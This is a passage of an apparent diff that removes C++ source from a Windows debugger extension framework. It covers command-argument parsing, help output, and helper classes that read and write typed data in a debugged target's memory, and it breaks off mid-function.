- while (ExtVal && ExtVal->ValueName)
- {
- if (wcscmp(Name, ExtVal->ValueName) == 0)
- {
- break;
- }
-
- ExtVal++;
- }
- if (!ExtVal)
- {
- Status = E_UNEXPECTED;
- }
- else
- {
- Status = CallProvideValueMethod(ExtVal, Flags,
- Value, TypeModBase,
- TypeId, TypeFlags);
- }
- }
- __finally
- {
- Release();
- }
-
- return Status;
-}
-
-ExtExtension::ArgVal*
-ExtExtension::FindArg(__in PCSTR Name,
- __in bool Required)
-{
- ULONG i;
-
- for (i = m_FirstNamedArg; i < m_FirstNamedArg + m_NumNamedArgs; i++)
- {
- if (!strcmp(Name, m_Args[i].Name))
- {
- return &m_Args[i];
- }
- }
-
- if (Required)
- {
- ThrowInvalidArg("No argument /%s was provided", Name);
- }
-
- return NULL;
-}
-
-PCSTR
-ExtExtension::SetRawArgVal(__in ExtCommandDesc::ArgDesc* Check,
- __in_opt ArgVal* Val,
- __in bool ExplicitVal,
- __in_opt PCSTR StrVal,
- __in bool StrWritable,
- __in ULONG64 NumVal)
-{
- if (!Val)
- {
- if (Check->Name)
- {
- if (m_NumNamedArgs + m_FirstNamedArg >= EXT_DIMA(m_Args))
- {
- ThrowInvalidArg("Argument overflow on '%s'",
- Check->Name);
- }
-
- Val = &m_Args[m_NumNamedArgs + m_FirstNamedArg];
- m_NumArgs++;
- m_NumNamedArgs++;
- }
- else
- {
- Val = &m_Args[m_NumUnnamedArgs];
- m_NumArgs++;
- m_NumUnnamedArgs++;
- }
- }
-
- Check->Present = true;
- Val->Name = Check->Name;
- Val->StrVal = NULL;
- Val->NumVal = 0;
-
- if (Check->Boolean)
- {
- return StrVal;
- }
-
- if (StrVal)
- {
- while (IsSpace(*StrVal))
- {
- StrVal++;
- }
- if (!*StrVal &&
- !ExplicitVal)
- {
- ThrowInvalidArg("Missing value for argument '%s'",
- Check->Name);
- }
-
- if (Check->String)
- {
- Val->StrVal = StrVal;
- if (Check->StringRemainder)
- {
- StrVal += strlen(StrVal);
- }
- else
- {
- while (*StrVal && !IsSpace(*StrVal))
- {
- StrVal++;
- }
- }
- }
- else if (Check->Expression)
- {
- PSTR StrEnd = NULL;
- char StrEndChar = 0;
-
- if (Check->ExpressionDelimited)
- {
- StrEnd = (PSTR)StrVal;
- while (*StrEnd && !IsSpace(*StrEnd))
- {
- StrEnd++;
- }
- if (IsSpace(*StrEnd))
- {
- //
- // We found some trailing text so we need
- // to force a terminator to delimit the
- // expression. We can only do this if
- // we make a copy of the string or have
- // a writable string. As any case where a
- // non-writable string is passed in involves
- // a caller setting an argument explicitly they
- // can provide a properly-terminated expression,
- // so don't support copying.
- //
-
- if (!StrWritable)
- {
- ThrowInvalidArg("Delimited expressions can "
- "only be parsed from extension "
- "command arguments");
- }
-
- StrEndChar = *StrEnd;
- *StrEnd = 0;
- }
- else
- {
- // No trailing text so no need to force
- // termination.
- StrEnd = NULL;
- }
- }
-
- StrVal = GetExpr64(StrVal,
- Check->ExpressionSigned != 0,
- (0xffffffffffffffffUI64 >>
- (64 - Check->ExpressionBits)),
- &Val->NumVal);
-
- if (StrEnd)
- {
- *StrEnd = StrEndChar;
- }
- }
- }
- else if (Check->String)
- {
- ThrowInvalidArg("Missing value for argument '%s'",
- Check->Name);
- }
- else
- {
- Val->NumVal = NumVal;
- }
-
- return StrVal;
-}
-
-void
-ExtExtension::ParseArgs(__in ExtCommandDesc* Desc,
- __in_opt PCSTR Args)
-{
- if (!Args)
- {
- Args = "";
- }
-
- m_RawArgStr = Args;
- m_NumArgs = 0;
- m_NumNamedArgs = 0;
- m_NumUnnamedArgs = 0;
- m_FirstNamedArg = Desc->m_NumUnnamedArgs;
-
- //
- // First make a copy of the argument string as
- // we will need to chop it up when parsing.
- // Release() automatically cleans this up.
- //
-
- m_ArgCopy = _strdup(Args);
- if (!m_ArgCopy)
- {
- ThrowOutOfMemory();
- }
-
- if (Desc->m_CustomArgParsing)
- {
- return;
- }
-
- PSTR Scan = m_ArgCopy;
- bool ImplicitNamedArg = false;
- ULONG i;
- ExtCommandDesc::ArgDesc* Check;
-
- Check = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Check++)
- {
- Check->Present = false;
- }
-
- for (;;)
- {
- while (IsSpace(*Scan))
- {
- ImplicitNamedArg = false;
- Scan++;
- }
- if (!*Scan)
- {
- break;
- }
-
- if (ImplicitNamedArg ||
- strchr(Desc->m_OptionChars, *Scan) != NULL)
- {
- //
- // Named argument. Collect name and
- // see if this is a valid argument.
- //
-
- if (!ImplicitNamedArg)
- {
- Scan++;
-
- // If /? is given at any point immediately
- // go help for the command and exit.
- if (*Scan == '?' &&
- (!*(Scan + 1) || IsSpace(*(Scan + 1))))
- {
- HelpCommand(Desc);
- throw ExtStatusException(S_OK);
- }
- }
-
- PSTR Start = Scan++;
- while (*Scan && !IsSpace(*Scan))
- {
- Scan++;
- }
- char Save = *Scan;
- *Scan = 0;
-
- //
- // First check for a full name match.
- //
-
- if (!ImplicitNamedArg)
- {
- Check = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Check++)
- {
- if (!Check->Name)
- {
- continue;
- }
-
- if (!strcmp(Start, Check->Name))
- {
- break;
- }
- }
- }
- else
- {
- i = Desc->m_NumArgs;
- }
- if (i >= Desc->m_NumArgs)
- {
- //
- // Didn't find it with a full name match,
- // so check for a single-character match.
- // This is only allowed for single-character
- // boolean options.
- //
-
- ImplicitNamedArg = false;
-
- Check = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Check++)
- {
- if (!Check->Name ||
- !Check->Boolean)
- {
- continue;
- }
-
- if (*Start == Check->Name[0] &&
- !Check->Name[1])
- {
- // Multiple single-character options
- // can be combined with a single slash,
- // so the next character should be
- // checked as a named option.
- ImplicitNamedArg = true;
- break;
- }
- }
- }
- if (i >= Desc->m_NumArgs)
- {
- ThrowInvalidArg("Unrecognized argument '%s'",
- Start);
- }
-
- //
- // Found the argument. Validate it.
- //
-
- if (Check->Present)
- {
- ThrowInvalidArg("Duplicate argument '%s'",
- Start);
- }
-
- //
- // Argument is valid, fix up the scan string
- // and move to value processing.
- //
-
- *Scan = Save;
- if (ImplicitNamedArg)
- {
- Scan = Start + 1;
- }
- }
- else
- {
- //
- // Unnamed argument.
- // Find the n'th unnamed argument description
- // and use it.
- //
-
- Check = Desc->FindUnnamedArg(m_NumUnnamedArgs);
- if (! Check)
- {
- ThrowInvalidArg("Extra unnamed argument at '%s'",
- Scan);
- }
- }
-
- //
- // We have an argument description, so
- // look for any appropriate value.
- //
-
- Scan = (PSTR)SetRawArgVal(Check, NULL, false, Scan, true, 0);
- if (Check->String && *Scan)
- {
- *Scan++ = 0;
- }
- }
-
- //
- // Fill in default values where needed.
- //
-
- Check = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Check++)
- {
- if (!Check->Present &&
- Check->Default)
- {
- SetRawArgVal(Check, NULL, true, Check->Default, false, 0);
- }
- }
-
- //
- // Verify that all required arguments are present.
- //
-
- ULONG NumUnPresent = 0;
- Check = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Check++)
- {
- if (!Check->Name)
- {
- NumUnPresent++;
- }
-
- if (Check->Required &&
- !Check->Present)
- {
- if (Check->Name)
- {
- ThrowInvalidArg("Missing required argument '%s'",
- Check->Name);
- }
- else if (Check->DescShort)
- {
- ThrowInvalidArg("Missing required argument '<%s>'",
- Check->DescShort);
- }
- else
- {
- ThrowInvalidArg("Missing unnamed argument %u",
- NumUnPresent);
- }
- }
- }
-}
-
-void
-ExtExtension::OutCommandArg(__in ExtCommandDesc::ArgDesc* Arg,
- __in bool Separate)
-{
- if (Arg->Name)
- {
- if (Separate)
- {
- OutWrapStr("/");
- }
-
- OutWrapStr(Arg->Name);
-
- if (!Arg->Boolean)
- {
- OutWrapStr(" ");
- }
- }
-
- if (!Arg->Boolean)
- {
- OutWrap("<%s>", Arg->DescShort);
- }
-}
-
-void
-ExtExtension::HelpCommandArgsSummary(__in ExtCommandDesc* Desc)
-{
- ULONG i;
- ExtCommandDesc::ArgDesc* Arg;
- bool Hit;
-
- if (Desc->m_CustomArgDescShort)
- {
- OutWrapStr(Desc->m_CustomArgDescShort);
- return;
- }
-
- //
- // In order to try and make things pretty we make
- // several passes over the arguments.
- //
-
- //
- // Display all optional single-char booleans as a collection.
- //
-
- Hit = false;
- Arg = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Arg++)
- {
- if (Arg->Boolean && !Arg->Required && !Arg->Name[1])
- {
- if (!Hit)
- {
- OutWrapStr(" [/");
- Hit = true;
- AllowWrap(false);
- }
-
- OutWrapStr(Arg->Name);
- }
- }
- if (Hit)
- {
- OutWrapStr("]");
- AllowWrap(true);
- }
-
- //
- // Display all optional multi-char booleans.
- //
-
- Arg = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Arg++)
- {
- if (Arg->Boolean && !Arg->Required && Arg->Name[1])
- {
- OutWrap(" [/%s]", Arg->Name);
- }
- }
-
- //
- // Display all required single-char booleans as a collection.
- //
-
- Hit = false;
- Arg = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Arg++)
- {
- if (Arg->Boolean && Arg->Required && !Arg->Name[1])
- {
- if (!Hit)
- {
- OutWrapStr(" /");
- Hit = true;
- AllowWrap(false);
- }
-
- OutWrapStr(Arg->Name);
- }
- }
- AllowWrap(true);
-
- //
- // Display all required multi-char booleans.
- //
-
- Arg = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Arg++)
- {
- if (Arg->Boolean && Arg->Required && Arg->Name[1])
- {
- OutWrap(" /%s", Arg->Name);
- }
- }
-
- //
- // Display all optional named non-booleans.
- //
-
- Arg = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Arg++)
- {
- if (!Arg->Boolean && !Arg->Required && Arg->Name)
- {
- TestWrap(true);
- OutCommandArg(Arg, true);
- TestWrap(false);
- if (!DemandWrap(m_TestWrapChars + 3))
- {
- OutWrapStr(" ");
- }
- OutWrapStr("[");
- AllowWrap(false);
- OutCommandArg(Arg, true);
- OutWrapStr("]");
- AllowWrap(true);
- }
- }
-
- //
- // Display all required named non-booleans.
- //
-
- Arg = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Arg++)
- {
- if (!Arg->Boolean && Arg->Required && Arg->Name)
- {
- TestWrap(true);
- OutCommandArg(Arg, true);
- TestWrap(false);
- if (!DemandWrap(m_TestWrapChars + 1))
- {
- OutWrapStr(" ");
- }
- AllowWrap(false);
- OutCommandArg(Arg, true);
- AllowWrap(true);
- }
- }
-
- //
- // Display all unnamed arguments. As any optional
- // unnamed argument must be last we can handle both
- // optional and required in a single pass.
- //
-
- Arg = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++, Arg++)
- {
- if (!Arg->Boolean && !Arg->Name)
- {
- TestWrap(true);
- OutCommandArg(Arg, true);
- TestWrap(false);
- if (!Arg->Required)
- {
- m_TestWrapChars += 2;
- }
- if (!DemandWrap(m_TestWrapChars + 1))
- {
- OutWrapStr(" ");
- }
- if (!Arg->Required)
- {
- OutWrapStr("[");
- }
- AllowWrap(false);
- OutCommandArg(Arg, true);
- if (!Arg->Required)
- {
- OutWrapStr("]");
- }
- AllowWrap(true);
- }
- }
-}
-
-void
-ExtExtension::HelpCommand(__in ExtCommandDesc* Desc)
-{
- ULONG i;
-
- Desc->ExInitialize(this);
-
- m_CurChar = 0;
- OutWrap("!%s", Desc->m_Name);
- m_LeftIndent = m_CurChar + 1;
- HelpCommandArgsSummary(Desc);
- m_LeftIndent = 0;
- OutWrapStr("\n");
-
- if (Desc->m_CustomArgDescLong)
- {
- OutWrapStr(" ");
- m_LeftIndent = m_CurChar;
- OutWrapStr(Desc->m_CustomArgDescLong);
- m_LeftIndent = 0;
- OutWrapStr("\n");
- }
- else
- {
- ExtCommandDesc::ArgDesc* Arg = Desc->m_Args;
- for (i = 0; i < Desc->m_NumArgs; i++)
- {
- OutWrapStr(" ");
- OutCommandArg(Arg, true);
-
- if (Arg->DescLong)
- {
- OutWrapStr(" - ");
- m_LeftIndent = m_CurChar;
-
- OutWrapStr(Arg->DescLong);
-
- if (Arg->Default &&
- !Arg->DefaultSilent)
- {
- OutWrapStr(" (defaults to ");
- OutWrapStr(Arg->Default);
- OutWrapStr(")");
- }
- }
- else if (Arg->Default &&
- !Arg->DefaultSilent)
- {
- OutWrapStr(" - ");
- m_LeftIndent = m_CurChar;
- OutWrapStr("defaults to ");
- OutWrapStr(Arg->Default);
- }
-
- m_LeftIndent = 0;
- OutWrapStr("\n");
- Arg++;
- }
- }
-
- OutWrapStr(Desc->m_Desc);
- Out("\n");
-}
-
-void
-ExtExtension::HelpCommandName(__in PCSTR Name)
-{
- ExtCommandDesc* Desc = m_Commands;
- while (Desc)
- {
- if (!strcmp(Name, Desc->m_Name))
- {
- break;
- }
-
- Desc = Desc->m_Next;
- }
- if (!Desc)
- {
- ThrowInvalidArg("No command named '%s'", Name);
- }
-
- HelpCommand(Desc);
-}
-
-void
-ExtExtension::HelpAll(void)
-{
- char ModName[2 * MAX_PATH];
-
- if (!GetModuleFileName(s_Module, ModName, EXT_DIMA(ModName)))
- {
- StringCbCopyA(ModName, sizeof(ModName),
- "");
- }
-
- Out("Commands for %s:\n", ModName);
- m_CurChar = 0;
-
- ExtCommandDesc* Desc = m_Commands;
- while (Desc)
- {
- ULONG NameLen = strlen(Desc->m_Name);
- OutWrap(" !%s%*c- ",
- Desc->m_Name,
- m_LongestCommandName - NameLen + 1, ' ');
- m_LeftIndent = m_CurChar;
- OutWrapStr(Desc->m_Desc);
- m_LeftIndent = 0;
-
- OutWrapStr("\n");
-
- Desc = Desc->m_Next;
- }
-
- Out("!help will give more information for a particular command\n");
-}
-
-EXT_CLASS_COMMAND(ExtExtension,
- help,
- "Displays information on available extension commands",
- "{;s,o;command;Command to get information on}")
-{
- if (HasUnnamedArg(0))
- {
- HelpCommandName(GetUnnamedArgStr(0));
- }
- else
- {
- HelpAll();
- SetCallStatus(DEBUG_EXTENSION_CONTINUE_SEARCH);
- }
-}
-
-//----------------------------------------------------------------------------
-//
-// Global forwarders for common methods.
-//
-//----------------------------------------------------------------------------
-
-void WINAPIV
-ExtOut(__in PCSTR Format, ...)
-{
- g_Ext.Throw();
-
- va_list Args;
-
- va_start(Args, Format);
- g_Ext->m_Control->
- OutputVaList(DEBUG_OUTPUT_NORMAL, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtWarn(__in PCSTR Format, ...)
-{
- g_Ext.Throw();
-
- va_list Args;
-
- va_start(Args, Format);
- g_Ext->m_Control->
- OutputVaList(DEBUG_OUTPUT_WARNING, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtErr(__in PCSTR Format, ...)
-{
- g_Ext.Throw();
-
- va_list Args;
-
- va_start(Args, Format);
- g_Ext->m_Control->
- OutputVaList(DEBUG_OUTPUT_ERROR, Format, Args);
- va_end(Args);
-}
-
-void WINAPIV
-ExtVerb(__in PCSTR Format, ...)
-{
- g_Ext.Throw();
-
- va_list Args;
-
- va_start(Args, Format);
- g_Ext->m_Control->
- OutputVaList(DEBUG_OUTPUT_VERBOSE, Format, Args);
- va_end(Args);
-}
-
-//----------------------------------------------------------------------------
-//
-// ExtRemoteData.
-//
-//----------------------------------------------------------------------------
-
-void
-ExtRemoteData::Set(__in const DEBUG_TYPED_DATA* Typed)
-{
- m_Offset = Typed->Offset;
- m_ValidOffset = (Typed->Flags & DEBUG_TYPED_DATA_IS_IN_MEMORY) != 0;
- m_Bytes = Typed->Size;
- m_Data = Typed->Data;
- m_ValidData = Typed->Size > 0 && Typed->Size <= sizeof(m_Data);
-}
-
-void
-ExtRemoteData::Read(void)
-{
- g_Ext->ThrowInterrupt();
-
- // Zero data so that unread bytes have a known state.
- ULONG64 NewData = 0;
-
-#pragma prefast(suppress:__WARNING_REDUNDANTTEST, "valid redundancy")
- if (m_Bytes > sizeof(m_Data) ||
- m_Bytes > sizeof(NewData))
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteData::Read too large");
- }
-
- ReadBuffer(&NewData, m_Bytes);
- m_Data = NewData;
- m_ValidData = true;
-}
-
-void
-ExtRemoteData::Write(void)
-{
- g_Ext->ThrowInterrupt();
-
- if (m_Bytes > sizeof(m_Data))
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteData::Write too large");
- }
- if (!m_ValidData)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteData does not have valid data");
- }
-
- WriteBuffer(&m_Data, m_Bytes);
-}
-
-ULONG64
-ExtRemoteData::GetData(__in ULONG Request)
-{
- g_Ext->ThrowInterrupt();
-
- if (m_Bytes != Request)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "Invalid ExtRemoteData size");
- }
- if (!m_ValidData)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteData does not have valid data");
- }
-
- return m_Data;
-}
-
-ULONG
-ExtRemoteData::ReadBuffer(__out_bcount(Bytes) PVOID Buffer,
- __in ULONG Bytes,
- __in bool MustReadAll)
-{
- HRESULT Status;
- ULONG Done;
-
- g_Ext->ThrowInterrupt();
-
- if (!Bytes)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "Zero-sized ExtRemoteData");
- }
- if (!m_ValidOffset)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteData does not have a valid address");
- }
-
- if (m_Physical)
- {
- Status = g_Ext->m_Data4->
- ReadPhysical2(m_Offset, m_SpaceFlags, Buffer, Bytes, &Done);
- }
- else
- {
- Status = g_Ext->m_Data->
- ReadVirtual(m_Offset, Buffer, Bytes, &Done);
- }
- if (Status == S_OK && Done != Bytes && MustReadAll)
- {
- Status = HRESULT_FROM_WIN32(ERROR_READ_FAULT);
- }
- if (Status != S_OK)
- {
- if (m_Name)
- {
- g_Ext->ThrowRemote(Status, "Unable to read %s at %p",
- m_Name, m_Offset);
- }
- else
- {
- g_Ext->ThrowRemote(Status, "Unable to read 0x%x bytes at %p",
- Bytes, m_Offset);
- }
- }
-
- return Done;
-}
-
-ULONG
-ExtRemoteData::WriteBuffer(__in_bcount(Bytes) PVOID Buffer,
- __in ULONG Bytes,
- __in bool MustReadAll)
-{
- HRESULT Status;
- ULONG Done;
-
- UNREFERENCED_PARAMETER(Buffer);
-
- g_Ext->ThrowInterrupt();
-
- if (!Bytes)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "Zero-sized ExtRemoteData");
- }
- if (!m_ValidOffset)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteData does not have a valid address");
- }
-
- if (m_Physical)
- {
- Status = g_Ext->m_Data4->
- WritePhysical2(m_Offset, m_SpaceFlags, &m_Data, Bytes, &Done);
- }
- else
- {
- Status = g_Ext->m_Data->
- WriteVirtual(m_Offset, &m_Data, Bytes, &Done);
- }
- if (Status == S_OK && Done != Bytes && MustReadAll)
- {
- Status = HRESULT_FROM_WIN32(ERROR_WRITE_FAULT);
- }
- if (Status != S_OK)
- {
- if (m_Name)
- {
- g_Ext->ThrowRemote(Status, "Unable to write %s at %p",
- m_Name, m_Offset);
- }
- else
- {
- g_Ext->ThrowRemote(Status, "Unable to write 0x%x bytes at %p",
- Bytes, m_Offset);
- }
- }
-
- return Done;
-}
-
-PSTR
-ExtRemoteData::GetString(__out_ecount(BufferChars) PSTR Buffer,
- __in ULONG BufferChars,
- __in ULONG MaxChars,
- __in bool MustFit)
-{
- HRESULT Status;
-
- g_Ext->ThrowInterrupt();
-
- if (!m_ValidOffset)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteData does not have a valid address");
- }
- if (m_Physical)
- {
- g_Ext->ThrowRemote(E_NOTIMPL,
- "ExtRemoteData cannot read strings "
- "from physical memory");
- }
-
- ULONG Need;
-
- if (FAILED(Status = g_Ext->m_Data4->
- ReadMultiByteStringVirtual(m_Offset, MaxChars * sizeof(*Buffer),
- Buffer, BufferChars, &Need)))
- {
- g_Ext->ThrowRemote(Status, "Unable to read string at %p",
- m_Offset);
- }
- if (Status != S_OK && MustFit)
- {
- g_Ext->ThrowRemote(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW),
- "String at %p overflows buffer, need 0x%x chars",
- m_Offset, Need);
- }
-
- return Buffer;
-}
-
-PWSTR
-ExtRemoteData::GetString(__out_ecount(BufferChars) PWSTR Buffer,
- __in ULONG BufferChars,
- __in ULONG MaxChars,
- __in bool MustFit)
-{
- HRESULT Status;
-
- g_Ext->ThrowInterrupt();
-
- if (!m_ValidOffset)
- {
- g_Ext->ThrowRemote(E_INVALIDARG,
- "ExtRemoteData does not have a valid address");
- }
- if (m_Physical)
- {
- g_Ext->ThrowRemote(E_NOTIMPL,
- "ExtRemoteData cannot read strings "
- "from physical memory");
- }
-
- ULONG Need;
-
- if (FAILED(Status = g_Ext->m_Data4->
- ReadUnicodeStringVirtualWide(m_Offset,
- MaxChars * sizeof(*Buffer),
- Buffer, BufferChars, &Need)))
- {
- g_Ext->ThrowRemote(Status, "Unable to read string at %p",
- m_Offset);
- }
- if (Status != S_OK && MustFit)
- {
- g_Ext->ThrowRemote(HRESULT_FROM_WIN32(ERROR_BUFFER_OVERFLOW),
- "String at %p overflows buffer, need 0x%x chars",
- m_Offset, Need);
- }
-
- return Buffer;
-}
-
-//----------------------------------------------------------------------------
-//
-// ExtRemoteTyped.
-//
-//----------------------------------------------------------------------------
-
-void
-ExtRemoteTyped::Copy(__in const DEBUG_TYPED_DATA* Source)
-{
- m_Typed = *Source;
- ErtIoctl("Copy", EXT_TDOP_COPY, ErtUncheckedIn | ErtOut);
-}
-
-void
-ExtRemoteTyped::Set(__in PCSTR Expr)
-{
- EXT_TDOP Op;
- ULONG Flags = ErtOut;
-
- // If we have a valid value let it be used
- // in the expression if desired.
- if (m_Release)
- {
- Op = EXT_TDOP_EVALUATE;
- Flags |= ErtIn;
- }
- else
- {
- Op = EXT_TDOP_SET_FROM_EXPR;
- }
-
- PSTR Msg = g_Ext->
- PrintCircleString("Set: unable to evaluate '%s'", Expr);
- ErtIoctl(Msg, Op, Flags, Expr);
-}
-
-void
-ExtRemoteTyped::Set(__in PCSTR Expr,
- __in ULONG64 Offset)
-{
- m_Typed.Offset = Offset;
- PSTR Msg = g_Ext->
- PrintCircleString("Set: unable to evaluate '%s' for 0x%I64x",
- Expr, Offset);
- ErtIoctl(Msg, EXT_TDOP_SET_FROM_U64_EXPR, ErtUncheckedIn | ErtOut, Expr);
-}
-
-void
-ExtRemoteTyped::Set(__in bool PtrTo,
- __in ULONG64 TypeModBase,
- __in ULONG TypeId,
- __in ULONG64 Offset)
-{
- HRESULT Status;
- EXT_TYPED_DATA ExtData;
-
- g_Ext->ThrowInterrupt();
-
- ZeroMemory(&ExtData, sizeof(ExtData));
- ExtData.Operation = PtrTo ?
- EXT_TDOP_SET_PTR_FROM_TYPE_ID_AND_U64 :
- EXT_TDOP_SET_FROM_TYPE_ID_AND_U64;
- if (m_Physical)
- {
- ExtData.Flags |= (m_SpaceFlags + 1) << 1;
- }
- ExtData.InData.ModBase = TypeModBase;
- ExtData.InData.TypeId = TypeId;
- ExtData.InData.Offset = Offset;
-
- Status = g_Ext->m_Advanced2->
- Request(DEBUG_REQUEST_EXT_TYPED_DATA_ANSI,
- &ExtData, sizeof(ExtData),
- &ExtData, sizeof(ExtData),
- NULL);
- if (SUCCEEDED(Status))
- {
- Status = ExtData.Status;
- }
-
- if (FAILED(Status))
- {
- g_Ext->ThrowRemote(Status,
- "ExtRemoteTyped::Set from type and offset");
- }
-
- Release();
- m_Typed = ExtData.OutData;
- ExtRemoteData::Set(&m_Typed);
- m_Release = true;
-}
-
-void
-ExtRemoteTyped::Set(__in PCSTR Type,
- __in ULONG64 Offset,
- __in bool PtrTo,
- __inout_opt PULONG64 CacheCookie,
- __in_opt PCSTR LinkField)
-{
- HRESULT Status;
- ULONG64 TypeModBase;
- ULONG TypeId;
-
- if (!CacheCookie)
- {
- if ((Status = g_Ext->m_Symbols->
- GetSymbolTypeId(Type,
- &TypeId,
- &TypeModBase)) != S_OK)
- {
- g_Ext->ThrowStatus(Status, "Unable to get type ID of '%s'",
- Type);
- }
- }
- else
- {
- if (LinkField)
- {
- // We don't really need the field offset
- // here but it allows us to use cache
- // entries that were created for list
- // usage and so do have it.
- g_Ext->GetCachedFieldOffset(CacheCookie,
- Type,
- LinkField,
- &TypeModBase,
- &TypeId);
- }
- else
- {
- TypeId = g_Ext->GetCachedSymbolTypeId(CacheCookie,
- Type,
- &TypeModBase);
- }
- }
-
- Set(PtrTo, TypeModBase, TypeId, Offset);
-}
-
-void WINAPIV
-ExtRemoteTyped::SetPrint(__in PCSTR Format,
- ...)
-{
- HRESULT Status;
- va_list Args;
-
- va_start(Args, Format);
- Status = StringCbVPrintfA(g_Ext->s_String, sizeof(g_Ext->s_String),
- Format, Args);
- va_end(Args);
- if (Status != S_OK)
- {
- g_Ext->ThrowRemote(Status,
- "ExtRemoteTyped::SetPrint: overflow on '%s'",
- Format);
- }
- Set(g_Ext->CopyCircleString(g_Ext->s_String));
-}
-
-ULONG
-ExtRemoteTyped::GetFieldOffset(__in PCSTR Field) throw(...)
-{
- ULONG Offset;
- PSTR Msg = g_Ext->
- PrintCircleString("GetFieldOffset: no field '%s'",
- Field);
- ErtIoctl(Msg, EXT_TDOP_GET_FIELD_OFFSET, ErtIn, Field, 0, NULL,
- NULL, 0, &Offset);
- return Offset;
-}
-
-ExtRemoteTyped
-ExtRemoteTyped::Field(__in PCSTR Field)
-{
- ExtRemoteTyped Ret;
-
- PSTR Msg = g_Ext->
- PrintCircleString("Field: unable to retrieve field '%s' at %I64x",
- Field, m_Offset);
- ErtIoctl(Msg, EXT_TDOP_GET_FIELD, ErtIn | ErtOut, Field, 0, &Ret);
- return Ret;
-}
-
-ExtRemoteTyped
-ExtRemoteTyped::ArrayElement(__in LONG64 Index)
-{
- ExtRemoteTyped Ret;
-
- PSTR Msg = g_Ext->
- PrintCircleString("ArrayElement: unable to retrieve element %I64d",
- Index);
- ErtIoctl(Msg, EXT_TDOP_GET_ARRAY_ELEMENT,
- ErtIn | ErtOut, NULL, Index, &Ret);
- return Ret;
-}
-
-ExtRemoteTyped
-ExtRemoteTyped::Dereference(void)
-{
- ExtRemoteTyped Ret;
-
- ErtIoctl("Dereference", EXT_TDOP_GET_DEREFERENCE,
- ErtIn | ErtOut, NULL, 0, &Ret);
- return Ret;
-}
-
-ExtRemoteTyped
-ExtRemoteTyped::GetPointerTo(void)
-{
- ExtRemoteTyped Ret;
-
- ErtIoctl("GetPointerTo", EXT_TDOP_GET_POINTER_TO,
- ErtIn | ErtOut, NULL, 0, &Ret);
- return Ret;
-}
-
-ExtRemoteTyped
-ExtRemoteTyped::Eval(__in PCSTR Expr)
-{
- ExtRemoteTyped Ret;
-
- PSTR Msg = g_Ext->
- PrintCircleString("Eval: unable to evaluate '%s'",
- Expr);
- ErtIoctl(Msg, EXT_TDOP_EVALUATE, ErtIn | ErtOut, Expr, 0, &Ret);
- return Ret;
-}
-
-PSTR
-ExtRemoteTyped::GetTypeName(void)
-{
- ErtIoctl("GetTypeName", EXT_TDOP_GET_TYPE_NAME, ErtIn, NULL, 0, NULL,
- g_Ext->s_String, EXT_DIMA(g_Ext->s_String));
- return g_Ext->CopyCircleString(g_Ext->s_String);
-}
-
-ULONG
-ExtRemoteTyped::GetTypeFieldOffset(__in PCSTR Type,
- __in PCSTR Field)
-{
- HRESULT Status;
- DEBUG_VALUE Data;
- PSTR Expr;
-
- Expr = g_Ext->PrintCircleString("@@c++(#FIELD_OFFSET(%s, %s))",
- Type, Field);
- if (FAILED(Status = g_Ext->m_Control->
- Evaluate(Expr, DEBUG_VALUE_INT64, &Data, NULL)))
- {
- g_Ext->ThrowRemote(Status,
- "Could not find type field %s.%s",
- Type, Field);
- }
-
- return (ULONG)Data.I64;
-}
-
-HRESULT
-ExtRemoteTyped::ErtIoctl(__in PCSTR Message,
- __in EXT_TDOP Op,
- __in ULONG Flags,
- __in_opt PCSTR InStr,
- __in ULONG64 In64,
- __out_opt ExtRemoteTyped* Ret,
- __out_ecount_opt(StrBufferChars) PSTR StrBuffer,
- __in ULONG StrBufferChars,
- __out_opt PULONG Out32)
-{
- HRESULT Status;
- ULONG64 StackExtData[(sizeof(EXT_TYPED_DATA) + 11 * sizeof(ULONG64) - 1) /
- sizeof(ULONG64)];
- EXT_TYPED_DATA* ExtData;
- ULONG ExtDataBytes;
- PBYTE ExtraData;
-
- C_ASSERT(EXT_TDF_PHYSICAL_MEMORY == DEBUG_TYPED_DATA_PHYSICAL_MEMORY);
-
- g_Ext->ThrowInterrupt();
-
- ExtDataBytes = sizeof(*ExtData) +
- StrBufferChars * sizeof(*StrBuffer);
- if (InStr)
- {
- ExtDataBytes += (strlen(InStr) + 1) * sizeof(*InStr);
- }
-
- if (ExtDataBytes > sizeof(StackExtData))
- {
- ExtData = (EXT_TYPED_DATA*)malloc(ExtDataBytes);
- if (!ExtData)
- {
- return E_OUTOFMEMORY;
- }
- }
- else
- {
- ExtData = (EXT_TYPED_DATA*)&StackExtData;
- }
- ExtraData = (PBYTE)(ExtData + 1);
-
- ZeroMemory(ExtData, sizeof(*ExtData));
- ExtData->Operation = Op;
- if (m_Physical)
- {
- ExtData->Flags |= (m_SpaceFlags + 1) << 1;
- }
- if (InStr)
- {
- ExtData->InStrIndex = (ULONG)(ExtraData - (PBYTE)ExtData);
- memcpy(ExtraData, InStr,
